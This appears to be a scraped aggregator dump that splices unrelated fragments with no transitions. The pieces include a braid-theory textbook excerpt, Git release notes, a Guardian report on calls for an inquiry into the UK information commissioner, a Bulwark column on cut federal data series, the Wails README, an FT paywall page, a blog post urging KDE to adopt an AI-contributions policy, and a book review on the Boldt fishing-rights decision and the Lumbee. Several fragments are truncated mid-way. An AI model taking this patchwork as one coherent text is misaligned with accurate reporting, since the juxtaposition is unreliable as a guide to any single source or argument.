Just remember, when reading proofs presented in a "just the facts" style like the one above, it is your job as the reader to make sure you can justify each new step from the previous ones. To help you do this, you should always keep a pencil nearby when reading a math book!
Before continuing, you might try to conjecture and then prove results similar to braid theorems 1-3 that involve the following braids: $x_i^{-1} \, x_{i+1}^{-1} \, x_i$ and $x_i^{-1} \, x_{i+1}^{-1} \, x_i^{-1}$.
Changing the default hash function from SHA-1 to SHA-256, improving security.
Changing the default storage format to better support macOS and Windows, and to improve performance.
More formally integrating Rust into Git’s own build process
About thoughtbot
We've been helping engineering teams deliver exceptional products for over 20 years. Our designers, developers, and product managers work closely with teams to solve your toughest software challenges through collaborative design and development.
Learn more about us
.
Civil liberties groups call for inquiry into UK data protection watchdog
Guardian
www.theguardian.com
2025-11-24 06:00:30
Campaigners including Good Law Project describe ICO ‘collapse in enforcement activity’ after Afghan data breach Dozens of civil liberties campaigners and legal professionals are calling for an inquiry into the UK’s data protection watchdog, after what they describe as “a collapse in enforcement act...
Dozens of civil liberties campaigners and legal professionals are calling for an inquiry into the UK’s data protection watchdog, after what they describe as “a collapse in enforcement activity” after the scandal of the
Afghan data breach
.
A total of 73 academics, senior lawyers, data protection experts and organisations including Statewatch and the Good Law Project, have written a letter to Chi Onwurah, the chair of the cross-party Commons science, innovation and technology committee, coordinated by Open Rights Group, calling for an inquiry to be held into the office of the information commissioner, John Edwards.
“We are concerned about the collapse in enforcement activity by the Information Commissioner’s Office, which culminated in the decision to not formally investigate the Ministry of Defence (MoD) following the Afghan data breach,” the signatories state. They warn of “deeper structural failures” beyond that data breach.
The
Afghan data breach
was a particularly serious leak of information relating to individual Afghans who worked with British forces before the Taliban seized control of the country in August 2021. Those who discovered their names had been disclosed say it has put their lives at risk.
“Data breaches expose individuals to serious danger and are liable of disrupting government and business continuity,” the letter states. “However, in a recent public hearing hosted by your committee, Commissioner John Edwards has shown unwillingness to reconsider his approach to data protection enforcement, even in face of the most serious data breach that has ever occurred in the UK.”
The signatories cite other serious data breaches including those affecting victims of the Windrush scandal.
But they say the ICO has applied its “public sector approach” in these cases and either issued reprimands – written notices that lack the force of law – or significantly lowered the monetary penalties it awarded.
“The ICO decision not to pursue any formal action against the MoD despite their repeated failures was extraordinary, as was its failure to record its decision making. The picture that emerges is one where the ICO public sector approach lacks deterrence, and fails to drive the adoption of good data management across government and public bodies.”
“The handling of the Afghan data breach is not an isolated case; many are being let down by the ICO and its numerous failures to use corrective powers.”
The letter warns that alongside the shift away from enforcement in the public sector, statistics contained in the
latest ICO report
show that private sector enforcement is also becoming rarer as organisations are diverting resources away from compliance and responsible data practices, knowing that the ICO is not going to pursue the matter.
“Parliament has given the ICO considerable powers not to politely hope for the best, but to enforce compliance with legally binding orders. As we heard from the public hearing you hosted, the ICO chose not to use these powers to address the Afghan data breach.
“Unfortunately, the Afghan data breach is not an isolated incident, but the symptom of deeper structural failures which are emerging in the way the ICO operates.”
The letter concludes: “Change appears to be unlikely unless the Science, Innovation and Technology Committee uses their oversight powers and steps in.”
A spokesperson for the ICO said: “We have a range of regulatory powers and tools to choose from when responding to systemic issues in a given sector or industry.
“We respect the important role civil society plays in scrutinising our choices and will value the opportunity to discuss our approach during our next regular engagement. We also welcome our opportunities to account for our work when speaking to and appearing before the DSIT select committee.”
What OpenAI did when ChatGPT users lost touch with reality
Sunday Science: The Gravity Particle Should Exist. So Where Is It?
Published
Matthew John O'Dowd
is an Australian astrophysicist. He is an associate professor in the Physics and Astronomy Department at the Lehman College of the City University of New York and the writer and host of PBS Space Time.
Space Time
explores the outer reaches of space, the craziness of astrophysics, the possibilities of sci-fi, and anything else you can think of beyond Planet Earth with our astrophysicist host: Matthew O’Dowd.
Matt O'Dowd spends his time studying the universe, especially really far-away things like quasars, super-massive black holes, and evolving galaxies. He uses telescopes in space to do it. Matt completed his Ph.D. at NASA's Space Telescope Science Institute, followed by work at the University of Melbourne and Columbia University. He's now a professor at the City University of New York's Lehman College and an Associate at the American Museum of Natural History's Hayden Planetarium.
Previous host Gabe Perez-Giz is an astrophysicist who studies black hole physics. He received his Ph.D. from Columbia University and also hosted PBS Infinite Series.
It’s actually quite simple. You stop measuring them.
The government shutdown that just concluded left the country in something of a data blackout. Some major economic data releases have been delayed (like the September jobs report, which belatedly
came out today
), and others canceled altogether (the October jobs report, which will
never be released
). This has made it unusually difficult for U.S. businesses and the Federal Reserve to assess how well the economy is doing.
But if you assume the reopening of the government has put an end to these challenges, think again. The real threat to our understanding of the U.S. economy, and the country’s health writ large, is not that measly, six-week shutdown fight. It’s the fact that the Trump administration has been quietly snuffing out thousands of other data series, particularly those that might produce politically inconvenient results.
Take for example President Donald Trump’s boasts about bringing more international investment into the United States.
1
He extracted pledges from
Switzerland
and
South Korea
. Just this week, he boasted of a whopping
$1 trillion
in blood money from Saudi Arabian Crown Prince Mohammed bin Salman (as my colleague
Andrew Egger notes
, the Saudi investment jumped from $600 billion to $1 trillion in the course of a few minutes and would, if real, amount to an absurd chunk of the country’s GDP).
But fulfillment of such pledges is notoriously fickle; in the past, plenty of foreign companies and governments have promised big investments in U.S. factories and jobs that
never materialized
, generating bad headlines for the politicians who wrangled them. Fortunately for Trump, these pledges will become increasingly un-fact-checkable.
That’s because yesterday, to relatively little fanfare,
the U.S. Bureau of Economic Analysis
announced
it was discontinuing some of its data collection on foreign investment in the United States as part of its “ongoing streamlining initiatives.” This follows
previous announcements
from the BEA in recent months about how it was paring back other data collection on foreign direct investment due to “
resource constraints
.”
In the absence of data, I guess we’ll simply have to trust Trump when he says that he’s delivered.
Now, do I think Trump
directed
the BEA to eliminate these measures specifically to make it easier for him to bullshit about his dealmaking prowess? Not exactly. While there are some cases where the administration has leaned on statistical agencies or explicitly
censored their findings
, the more common and less visible tactic has been to just
defund them
.
Trump’s
fiscal year 2026 budget request
for the Bureau of Economic Analysis reflects a 20 percent reduction compared to last year, a target that agency staff have told me they’ve already
hit
thanks to DOGE cuts, early retirements, and hiring freezes. (The comms team at BEA—like most statistical agency press offices I’ve contacted in recent months—has declined to confirm or deny these numbers.) This has forced the BEA to make tough choices. The agency also is responsible for producing much higher-profile, market-moving data, such as the reports on GDP, consumer spending, and the Federal Reserve’s preferred measure of inflation. Something had to give, and this week, that something was data on foreign investment.
Other major statistical agencies are struggling with their own brain drains and funding cuts.
Take the Bureau of Labor Statistics, which releases data on the job market and prices, among other marquee measures. In August, Trump’s decision to fire Erika McEntarfer, the BLS commissioner, grabbed headlines,
2
but the top job is hardly the only hole this administration has blown in that agency. At the time of McEntarfer’s firing, a third of senior BLS leadership positions were
already vacant
. (That’s
still the case
, in fact.)
The rest of the agency has been swiss-cheesed too. Some regional field offices—such as the consumer price index offices in Buffalo, New York; Lincoln, Nebraska; and Provo, Utah—have been
shuttered entirely
. Meanwhile, post-COVID, the agency was already struggling with reduced survey-response rates, which have made its numbers noisier and more susceptible to big revisions. The administration’s response has been to
disband the task force
working to fix these problems.
The result is that federal data are being degraded—or deleted altogether. And deletion is especially common when statistical series measure issues that this administration would rather not track.
In September, for instance, the administration canceled a three-decade-old annual survey that measures how many Americans
struggle to get enough food
. A few months earlier, HHS eliminated the team that
produces the poverty guidelines
, which determine how we count the number of people in poverty and eligibility for benefits such as SNAP, Medicaid, Head Start, and childcare subsidies. But hey, if you never determine who’s eligible for benefits, maybe that means no one is.
Lots of people might take these numbers for granted, but we’ll notice when they’re gone. We need these data to
interpret the world around us and make decisions
. Consumers use them to track the weather, determine where to send their kids to school, and negotiate raises. Businesses use them to hire, invest, price, and purchase. Doctors use them to diagnose illnesses. Public officials use them to craft policy.
3
And voters use them to determine whether their elected officials are keeping their promises.
But instead of recognizing the usefulness of these data—or perhaps
because
he recognizes it—the president has chosen to curate his own
reality
.
As was the case last week, when the White House cheerily announced that inflation had fallen because
DoorDash’s breakfast offerings
had gotten cheaper, and because Walmart had
shrinkflationed
its
Thanksgiving dinner deal
. Maybe this seemed forgivable when government agencies were shut down and everyone was looking for alternative measures to fill the statistical void. My fear is that the voids are multiplying.
1
Boosting foreign direct investment in the United States is a somewhat bizarre thing for Trump to fixate on, since higher FDI mathematically
increases
our
trade deficits
. Which Trump believes are already catastrophically high. But whatever, not like Trump has a Wharton degree.
3
“I would not want anyone to think the data have deteriorated to a point where it’s difficult for us to understand the economy,” Federal Reserve Chair Jerome Powell said in a June
Senate hearing
. “But the direction of travel is concerning.”
Catherine Rampell
is economics editor at The Bulwark and an anchor at MS NOW (fmrly MSNBC). She specializes in econ, politics, public policy, immigration. Previously at WaPo, NYT, CNN, PBS NewsHour.
The Bulwark
was founded to provide analysis and reporting in defense of America’s liberal democracy.
We publish written articles and newsletters. We create podcasts and YouTube videos. We give political analysis from experts who have spent their lives in the business.
Some of what we do is behind a paywall. Most of what we do is not. That’s because we are a mission-based organization first and a business second.
And you can’t help save democracy from behind a paywall.
The Bulwark is a reader-supported publication. Sign-up to receive newsletters and support our work.
Build desktop applications using Go and Web Technologies
The traditional method of providing web interfaces to Go programs is via a built-in web server. Wails offers a different
approach: it provides the ability to wrap both Go code and a web frontend into a single binary. Tools are provided to
make this easy for you by handling project creation, compilation and bundling. All you have to do is get creative!
Features
Use standard Go for the backend
Use any frontend technology you are already familiar with to build your UI
Quickly create rich frontends for your Go programs using pre-built templates
Easily call Go methods from Javascript
Auto-generated Typescript definitions for your Go structs and methods
Native Dialogs & Menus
Native Dark / Light mode support
Supports modern translucency and "frosted window" effects
Unified eventing system between Go and Javascript
Powerful cli tool to quickly generate and build your projects
Multiplatform
Uses native rendering engines -
no embedded browser
!
Roadmap
The project roadmap may be found
here
. Please consult
it before creating an enhancement request.
This project is supported by these kind people / companies:
FAQ
Is this an alternative to Electron?
Depends on your requirements. It's designed to make it easy for Go programmers to make lightweight desktop
applications or add a frontend to their existing applications. Wails does offer native elements such as menus
and dialogs, so it could be considered a lightweight electron alternative.
Who is this project aimed at?
Go programmers who want to bundle an HTML/JS/CSS frontend with their applications, without resorting to creating a
server and opening a browser to view it.
What's with the name?
When I saw WebView, I thought "What I really want is tooling around building a WebView app, a bit like Rails is to
Ruby". So initially it was a play on words (Webview on Rails). It just so happened to also be a homophone of the
English name for the
Country
I am from. So it stuck.
Stargazers over time
Contributors
The contributors list is getting too big for the readme! All the amazing people who have contributed to this
project have their own page
here
.
License
Inspiration
This project was mainly coded to the following albums:
Then
$75
per month.
Complete digital access to quality FT journalism on any device.
Cancel anytime during your trial.
Explore more offers.
FT Edit
$49
per year
Access to eight surprising articles a day, hand-picked by FT editors. For seamless reading, access content via the FT Edit page on FT.com and receive the FT Edit newsletter.
Standard Digital
$45
per month
Essential digital access to quality FT journalism on any device. Pay a year upfront and save 20%.
Premium Digital
$75
per month
Complete digital access to quality FT journalism with expert analysis from industry leaders. Pay a year upfront and save 20%.
Explore our full range of subscriptions.
For individuals
Discover all the plans currently available in your country
For multiple readers
Digital access for organisations. Includes exclusive features and content.
Why the FT?
See why over a million readers pay to read the Financial Times.
I've been using KDE Plasma for four and a half years. The community is sweet and the software is stellar, and I see a bright future for it. I want it to be the best it can be! So, I'd like to talk about a small incident that I want KDE to lean away from.
TL;DR: Please look at adopting an "AI" Policy similar to
Servo's
. Other projects' policies, like Asahi Linux's (they love KDE!) and Bevy's, may also be worth a look. Even Forgejo has its "AI" Agreement, though in my opinion it's a bit watered down.
A light exchange; or,
the incident
.
Before Nate made his response, I was also thinking about their old Real Name Policy. I thought it was kinda funny that KDE rejected psuedonyms for years for provenance reasons — and then felt they should accept LLM contributions even though a scraping LLM cannot ever have provenance.
Nate's reply then emulsifies these two positions. It seems his takeaway was
not
that pseudonyms have a negligible impact on provenance, but instead that provenance is impossible and so KDE should give up.
I find this odd? The logic doesn't sit well with me.
He's turned
We can't know that someone's using a real name, so we must openly accept fake names.
Into
We can't know that someone's not using an LLM, so we must openly accept LLM contributions.
But these statements don't evaluate the worth of pseudonyms or LLM code, and are instead purely defensive — "How practical is it to guarantee we avoid
X
?" (Which for almost any given
X
, the answer is "We can't guarantee much at all". People can lie on the internet!)
My 2¢ is that there are other reasons to consider not accepting something. For instance, it would be bad to say,
We can't know that someone's not a nazi, so we must openly accept nazi contributions.
Excuse the invokation of Godwin's Law. Obviously, I don't believe this is a position KDE would hold. I'm just underscoring the need to
actually think about
whether having
X
in a project is good, and what ought to be done if we find instead that it's bad.
So, are LLM contributions bad?
LLM Contributions Are Bad
As mentioned, LLMs trained on scraped data cannot ever give complete attribution. It's how they work; it's the party trick of a black box. It's also non-consensual use, and it's plagiarism.
Occasionally, an LLM will regurgitate/resynthesize author credit. Sometimes these authors are not real, or are unrelated to whatever content is attributed to them. And unless the output is a 1:1 match for their work, it's incomplete credit and still plagiarism.
Hypothetically, one could train a language model to only use public domain or consensually granted data, such as code you've written yourself. But, these tend to give poor results.
LLMs bring downward pressure on code quality,
lost productivity
, and maintainer abuse. LLM contributions are often accompanied by an erroneous, nonsensical, or blathering description. The contributor also tends to have little-to-no understanding of the contribution and cannot personally answer questions from the review process.
This is a waste of maintainer time and labour
, is disrespectful, and can lead to burnout.
I understand KDE has had some prior run-ins with "AI", such as Kdenlive's optional
Whisper
integration and a few in-progress chatbot clients. I'm not terribly fond of these, but right now I'd just like to see a plan for an "AI" contributions policy.
I'm not a decorated developer nor an expert on how not to feed into fascism, so please reach out to others to discuss. Reach out to the folks at Servo or Krita, or Bevy and Asahi Linux. Reach out to David Revoy. To Ed Zitron. To Andrew Roach. Anyone. See
what people have already said
, recap
the ground we've already tread.
Heck, I'm sure Brodie Robertson could talk about similar projects who've had to wrestle with an "AI" Policy.
Anyway, thanks for taking the time to read. This is important to me, and you'll find it's important to many. Take care and best wishes!
The Third Sovereign
Portside
portside.org
2025-11-24 03:55:54
The Third Sovereign
Ira
Sun, 11/23/2025 - 22:55
...
University of North Carolina Press, 291 pp., $99.00; $22.95 (paper)
Billy Frank Jr. was fourteen when, in December 1945, he was fishing for salmon in the Nisqually River near Olympia, Washington, and state game wardens arrested him for the first time. Over the next twenty-five years he was arrested (and often jailed) more than four dozen times, despite his airtight defense: he fished under the terms of the Medicine Creek Treaty of 1854, one of ten treaties negotiated by Governor Isaac Stevens in which the US promised tribes in the Puget Sound area of the Pacific Northwest the right to fish where they’d always fished “in common with all citizens of the Territory.”
In 1965 the intensity of the arrests changed. Frank was fishing the Nisqually with his brother-in-law when armed wardens in a high-speed motorboat rammed Frank’s cedar canoe. “They got all kinds of training and riot gear—shields, helmets, everything,” Frank told Charles Wilkinson back in the 1970s, when Wilkinson was a young attorney with the Native American Rights Fund. “These guys had a budget. This was a war.”
In the mid-1960s Frank was one of several young activists in the Pacific Northwest who had begun staging “fish-ins,” acts of protest inspired by Black civil rights sit-ins but, a participant wrote, “done in a distinctive Indian way.” Native activists, with their families and allies, fished at riverside encampments, pressing their own fishing rights against state fishing prohibitions, resulting in arrests and news coverage and increasing brutality on the part of the state. The violence peaked in the summer of 1970, when state and local police raided an encampment on the Puyallup River in Tacoma, using rifles, tear gas, and batons to arrest dozens of men, women, and children.
One of the bystanders gassed during the melee was Stan Pitkin, the US attorney for western Washington who, days later, filed a complaint,
United States
v.
Washington
, on behalf of tribes that had signed the so-called Stevens treaties. The four-year trial resulted in a resounding victory for tribal sovereignty in the United States, reasserting the tribes’ fishing rights under the treaties and affirming those treaties as living documents—a verdict known today as the Boldt decision, named for its author, Judge George Boldt.
Frank served as the chairman of the Northwest Indian Fisheries Commission, the organization established by the 1974 ruling to aid the tribes in managing fisheries—a post he held for more than thirty years. In 2013 he asked Wilkinson, his old friend, by then an expert in federal Indian law, to write a book about the case. Wilkinson died in 2023, but the book he completed,
Treaty Justice
, deftly lays out one of the twentieth century’s most significant and underestimated legal decisions. “Judge George Boldt’s ruling…is a landmark in the American civil rights movement,” Wilkinson writes. “It belongs in the same company as
Brown
v.
Board of Education
and a select few other court cases in terms of bringing justice to dispossessed peoples.”
The trial began with a question: What were the circumstances under which these Pacific Northwest tribal nations signed the treaties negotiated by Isaac Stevens? A Massachusetts-born army engineer, Mexican-American War veteran, and railroad surveyor, Stevens was appointed governor of the newly established Washington Territory by his fellow veteran President Franklin Pierce in 1853. US expansion had slowed while Congress debated slavery’s future in the new territories, though Pierce still coveted Alaska, Hawaii, and Cuba and was eager to quickly solidify possession of what would become Washington, Idaho, and part of Montana. In the Northwest, the Donation Land Act of 1850 and its companion legislation, the Oregon Indian Treaty Act, called for the territorial commissioners to extinguish Native claims—declaring them null and void for the sake of white settlement—a task Stevens took on with alacrity.
The tribal cultures and economies Stevens encountered in the Puget Sound area were as varied as the region’s ecology. Around what are today called the San Juan Islands, the Lummi set reef nets in kelp beds to catch salmon in the northern sound’s open waters. To the south, the Nisqually fished the rivers and managed the prairies, burning forest to encourage grazing habitat for deer and elk. On the Olympic Peninsula, the Quinault caught salmon in their glacial rivers while harvesting shellfish along the Pacific coast, and on the peninsula’s northwestern tip, the Makah, whose warriors had repelled British sailors a century earlier, also caught salmon in their tidal rivers but focused on halibut and famously whales.
From 1820 to 1840, Wilkinson explains in
Treaty Justice
, the tribes had managed to coexist peacefully with British traders. But as the late Nisqually historian Cecelia Svinth Carpenter noted in
Stolen Lands: The Story of the Dispossessed Nisquallies
(2007), “The peacefulness of the scene fast disappeared when American families started arriving and building fences around choice Nisqually land.”
Stevens’s initial plan was to move all the tribes to a single reservation, an idea they quickly rejected. George Gibbs, a Harvard-educated ethnographer, suggested that tribal leaders would consider multiple reservations if guaranteed
the right of taking fish, at all usual and accustomed grounds and stations…, and of erecting temporary houses for the purpose of curing, together with the privilege of hunting, gathering roots and berries, and pasturing their horses on open and unclaimed lands.
The “final settlement,” as Stevens called it, was conducted in Chinook Jargon, a Pacific coast trade language of an estimated five hundred words, the effective use of which, a scholar noted, “depends on the ingenuity and imagination of the speaker.” Translating was Frank Shaw, a settler who, Wilkinson writes, “had only a moderate grasp of the Chinook Jargon and knew no Indigenous languages.”
Treaties were viewed by the US as a “temporary expedient,” in the words of the historian Alexandra Harmon, and in 1887 the General Allotment Act designated vast amounts of tribal land “surplus” based on the assumption that increasingly Americanized tribes would give up hunting and fishing communal lands for cultivating small private farms. Henry Dawes, the Massachusetts senator who wrote the act, saw collective ownership as Native America’s fatal flaw: “There is no selfishness, which is at the bottom of civilization.” Over the next half-century an estimated 90 million acres of Native land were taken by the US.
The effect of the Stevens treaties, for tribes in the Puget Sound area as elsewhere, was what Wilkinson calls “the long suppression.” “Native fishing rights, so central to tribal existence,” he explains, “were denied or scraped to the bone.” For decades private canneries and even dams decimated salmon runs, while US Indian agents forbade indigenous practices and sent Native children off to English-only Christian schools.
Then in 1953 the US adopted a new policy of “termination,” moving to end federal responsibilities to the tribes entirely, regardless of treaties. Within twenty years Congress terminated the recognition of 109 tribes in Oregon, California, Wisconsin, and elsewhere, affecting more than 11,000 Native people and taking upward of 1.3 million acres of land. No tribes were terminated in Washington state,
but as salmon dwindled, commercial and sports fishermen focused state enforcement on tribal fishers—despite the fact that when Billy Frank’s canoe was rammed on the Nisqually by wardens in a speedboat, the tribes were taking only 6 percent of the total Puget Sound harvest.
In the 1950s and 1960s a confluence of events revitalized Indian country. Native American veterans returned from World War II and the Korean War and attended college; tribes took control of programs formerly administered by the Department of the Interior’s Bureau of Indian Affairs, in schools, hospitals, and resource management.
In the Puget Sound area, leaders of the Muckleshoot, Puyallup, and Nisqually Nations began to meet with attorneys about their fishing rights. In 1963 Makah leaders interviewed Al Ziontz, a Seattle lawyer, who said, “If I were representing the Makah Tribe, the principle of tribal sovereignty would be the way I would go about defending your rights.” Ziontz knew little about Indian law—no law school taught it, despite tribes being, after the federal and state governments, the third of the three sovereign powers in the US constitutional system. Sovereignty made the tribes, as Chief Justice John Marshall wrote in 1832, “distinct political communities, having territorial boundaries, within which their authority is exclusive.”
What happened next was a powerful
mix of scholarship and organizing, with lawyers and activists tag-teaming to move the tribes toward a confrontation with the state. Hank Adams, an Assiniboine and Sioux activist who grew up on the Quinault Reservation—Wilkinson calls him “razor-sharp brilliant and driven”—set up at Frank’s Landing, a riverside encampment named for Billy Frank’s father, where, with Janet McCloud (Tulalip) and Ramona Bennett (Puyallup), he organized the Survival of the American Indian Association. Starting in 1964 the group turned fishing arrests into civil rights actions.
In the group’s first years celebrities (including Marlon Brando and Dick Gregory) were arrested at protests, as Adams organized support from Friends groups, Black Panthers, and the Southern Christian Leadership Conference. A planned five-day action at Frank’s Landing in 1968 lasted for months; in addition to eating the salmon they caught, the activists sold some to fund the encampment. By the time the police raided the Puyallup fish-in, in 1970, the young radicals were supported by the Puyallup tribal council, which sent a police force to protect the activists, who were fired on at random by vigilantes. On the day of the raid, Ramona Bennett said to game wardens approaching in a boat, “Touch our net and we’ll shoot you!”
In suing the State of Washington, Stan Pitkin, the Nixon-appointed US attorney, was working for what he called “a case to end all cases.” The time seemed right; two months before, Nixon had issued his special message to Congress on Indian affairs, which called for tribal “self-determination” and declared the termination policy “morally and legally unacceptable.” (Nixon, who advocated for land returns to tribes, counted his football coach at Whittier College, Wallace Newman, a Luiseño tribal citizen, as a mentor, but the president was likely also responding to Red Power actions, like the occupation of Alcatraz in 1969.) Judge Boldt was a bow-tie-wearing conservative who, just before the trial, had jailed Vietnam War protesters, making the tribes’ legal team nervous. But as the weeks passed, tribal attorneys sensed Boldt’s attentiveness and were relieved to spot Vine Deloria Jr.’s 1969 best seller,
Custer Died for Your Sins: An Indian Manifesto
, in his chambers.
For the first year of the trial, Judge Boldt took testimony on the treaties’ historical background. The State of Washington’s attorneys claimed that in 1854 the tribes were in “rapid cultural decline,” and they argued that the fishing rights defined by the Stevens treaties were moot. The plaintiffs’ expert—Barbara Lane, a Canadian anthropologist who had previously worked with numerous Northwest tribes—described a vibrant, adaptive culture, past and present. “They were not declining into nothing,” she said. Lane showed how the tribes had not only adapted to the new settlers but offered them ways to survive, with new kinds of food, shelter, and clothing. North of the Strait of Juan de Fuca, the British settlers in Victoria burned whale oil purchased from the Makah.
Next, twenty-nine tribal members testified to show that ancient cultural practices were also contemporary. Witnesses spoke in their own languages and recounted decades of abuse by Indian agents while displaying a generational fortitude that, trial participants noticed, captivated Boldt. There was also humor, another survival trait. Asked whether off-reservation fishing of winter chum salmon was prohibited by the state, Billy Frank said, “Well, I have been in jail enough times to say it probably is.”
As the trial progressed, a new facet of the case emerged: “the ambition,” Wilkinson writes, “of tribes to regulate their own members and to engage in salmon management.” Boldt’s ruling could add tribal oversight to federal and state oversight, and he now worked to decide whether the tribes could manage their own fisheries. The great revelation for nontribal citizens was that the tribes not only could but often already did so better than the region’s newcomers. In addition to a young Quinault fisheries expert finishing up his Ph.D., Boldt heard from Horton Capoeman, sixty-eight, who was bilingual and had lived on the Quinault Nation’s reservation his entire life, save for his US Army service. He had served on the tribal council, on the business committee, and as a tribal judge; his testimony detailed how the tribe had for generations managed Native and non-Native fishers when they either poached or overfished, by regulating timing or restricting access, depending on the offense. As Capoeman’s grandfather had told him, “It had to be done in order to bring them back to their senses.”
Boldt’s meticulousness, combined with a temporary assignment in Washington, D.C., meant that the trial stretched on, but at last on February 12, 1974—Lincoln’s birthday, a date Boldt chose to reflect what he saw as the decision’s significance—he upheld the tribes’ treaty rights and reinforced their status as sovereign entities. In straightforward, unsentimental language, he described the tribes’ “paramount dependence upon the products of an aquatic economy, especially anadromous fish, to sustain the Indian way of life.”
The decision was celebrated throughout Indian country. “In the 1960s there was a general belief in the public that treaties were ancient history, not the supreme law of the land,” said John Echohawk, the executive director of the Native American Rights Fund. “Our wish became true…. The treaties were acknowledged as the law. The Boldt Decision was the first big win for the modern tribal sovereignty movement.” A state official, meanwhile, compared the decision to a dictatorship. Bumper stickers read “Can Judge Boldt—not salmon.” Boldt, white Washingtonians argued, had made the majority population “second-class citizens,” denied equal rights.
A federal appeals court upheld the decision in 1975, but the Supreme Court declined to hear it for five years, a silence that exacerbated state officials’ anger and resulted in a salmon fishing free-for-all. Puget Sound was filled with white poachers ramming Indian boats, cutting nets, and slashing car tires (as they still do). At last the Supreme Court upheld the decision on July 2, 1979, quoting Boldt’s opinion repeatedly, as well as a 1905 case,
United States
v.
Winans
, which described the right to take salmon as “not much less necessary to the existence of the Indians than the atmosphere they breathed.” Washington state legislators were reprimanded. “Except for some desegregation cases,” the decision read, “the district court has faced the most concerted official and private efforts to frustrate a decree of a federal court witnessed in this century.”
In the years of the Pacific Northwest fish-ins, Sam Ervin, the North Carolina congressman who led the Watergate hearings, had a reputation for fighting against civil rights legislation, though he nevertheless sponsored the Indian Civil Rights Act of 1968. Unbeknownst to many Americans, North Carolina is home to the largest population of Native Americans east of the Mississippi—a population that included Ervin’s staffer Helen Maynor Scheirbeck, a Lumbee from Robeson County. Scheirbeck also helped pass the 1972 Indian Education Act. Thanks to that law, in the late 1970s a Lumbee educator was brought into the North Carolina elementary school attended by Ryan E. Emanuel, whose book,
On the Swamp: Fighting for Indigenous Environmental Justice
, looks at the survival of indigenous communities along the southern coastal plain.
Emanuel is a hydrologist and a professor at Duke. He grew up in Charlotte, a city in the soft hills of North Carolina’s Piedmont region, spending summers “on the swamp”—the traditional Lumbee territory. “The place we come from is the crazy quilt of blackwater streams, floodplain forests, and sandy uplands that all drain to the Lumbee River,” Emanuel writes.
To be “on the swamp” means to be around Prospect, Saddletree, Burnt Swamp, Sandy Plains, Back Swamp, or one of the myriad other Lumbee communities arrayed across the Lumbee River basin.
The area is characterized by low-lying, hemlock-covered microclimates that are remnants of the just-glaciated past, what paleoecologists refer to as refugia.
By the time Isaac Stevens set out to extinguish Native rights in the Pacific Northwest, tribes in the Southeast (including the Cherokee, Chickasaw, and Choctaw) either had already been forcibly removed to what would become Oklahoma or were negotiating recognition in a society that acknowledged them reluctantly, if at all. Early encounters with settlers in the Southeast had destroyed communities with war and disease, but the Lumbee found a form of protection in the isolated swamps, their own refugia. “To settlers,” Emanuel writes, “they were unmapped places, interstitial lands. But to us, these places were home—backwaters amid swirling currents of colonialism.”
In
On the Swamp
,
Emanuel uses his scientific training to gauge his homeland’s inscrutability to white settlers. In 2019 he compared nearly a hundred maps of the coastal plain created between the 1500s and the early 1900s and discovered that, prior to 1800, colonial mapmakers “generally did a poor job of representing the topology of the Lumbee River.” To miss the river’s “twisting, wandering channel” was to miss the “network of connected places” that makes up the Lumbee community—but it was this obscurity that afforded the Lumbee protection and, with an abundance of food and a strategic distance, strength. It was from a base in a Lumbee swamp that Henry Berry Lowry, a biracial freedom fighter and Lumbee hero, raided the Confederates during and after the Civil War, managing to avoid a sheriff’s hundred-man posse in 1871.
In the twentieth century, attacks came from railroad corporations, logging companies, and developers involved in wetland drainage projects that saw the luxuriously rich ecology of the swamps as merely, a local judge said in 1939, “noisome odors and unwholesome fogs.” Then in the 1950s natural gas came to Robeson County, and the land was suddenly valuable in another way—as an easement. “When Indigenous people today say that fossil fuel projects plow through their lands without regard for the well-being of communities and cultural landscapes, they are not exaggerating,” Emanuel writes. “They are speaking from generations of lived experience.”
Prospect, a town in Robeson County made up almost entirely of Native people, became a gas hub along the Transcontinental Pipeline, or TRANSCO, then the world’s longest gas pipeline, running from Texas to New York. Another hub was established near the historic site of Fort Nooheroka, where in 1713 a white militia had burned to death hundreds of Tuscarora people and enslaved hundreds more. (Many of the remaining Tuscarora soon relocated, joining the Haudenosaunee Confederacy in New York state.) These areas now include streams overwhelmed with animal waste from swine and poultry farms, and, Emanuel notes, “an ever-expanding tangle of gas pipelines and related infrastructure.”
But the Federal Energy Regulatory Commission (FERC) never asked the Lumbee for permission to run pipelines through their land. In 1956, two years before the digging began, Congress passed the Lumbee Act, which recognized the tribe as a sovereign entity. But termination was US Indian policy at the time, and a last-minute clause was added at the Bureau of Indian Affairs’ request, rendering the Lumbee legally invisible:
Nothing in this Act shall make such Indians eligible for any services performed by the United States for Indians because of their status as Indians, and none of the statutes of the United States which affect Indians because of their status as Indians shall be applicable to the Lumbee Indians.
This has caused real-life complications. In 2014, when a consortium of energy companies proposed a six-hundred-mile-long pipeline that would run from West Virginia to Robeson County, the chairman of the Lumbee Nation requested consultation, citing the Lumbee Act. The federal regulators sidestepped the tribe, citing the Lumbee Act, and in 2016 FERC concluded that “environmental justice populations would not be disproportionately affected” by the pipeline.
In 2017 Emanuel published a report in
Science
analyzing the route of the pipeline and showing how developers planned to clear-cut the swamp forests where the pipeline crossed water. Digging into the datasets buried in FERC’s appendixes, he also showed that while the Lumbee and other Native Americans made up just 1 percent of the population in the regions of West Virginia, Virginia, and North Carolina that the line would run through, they made up 5 percent of the people directly affected by its route. The pipeline was canceled in 2020, but had it been built, one in four Native Americans in North Carolina, or 30,000 people, would have lived along it—a population larger than that threatened by the Dakota Access Pipeline at Standing Rock.
Last March, Trump struck down a Biden executive order intended to strengthen tribal sovereignty. Yet even Biden’s order reads as aspirational; it suggested that the government consult with tribes “to ensure that Federal laws, policies, practices, and programs support Tribal Nations more effectively,” but consultation is not law. Deb Haaland, the Laguna Pueblo congresswoman from New Mexico who under Biden became the first indigenous secretary of the interior, oversaw the long-overdue accounting of the barbaric government-run Indian reservation boarding schools, including the uncovering of almost a thousand often unmarked graves. But in 2023, in that same position, she permitted ConocoPhillips’s $8 billion drilling plan on Alaska’s North Slope, the largest oil drilling project on public lands in US history, over the concerns of the Iñupiat mayor closest to the site, who noted that the previous year, during an uncontrolled ConocoPhillips gas release (“a unique event, with nothing similar ever occurring,” the corporation insisted), employees were evacuated while village residents were told they were safe.
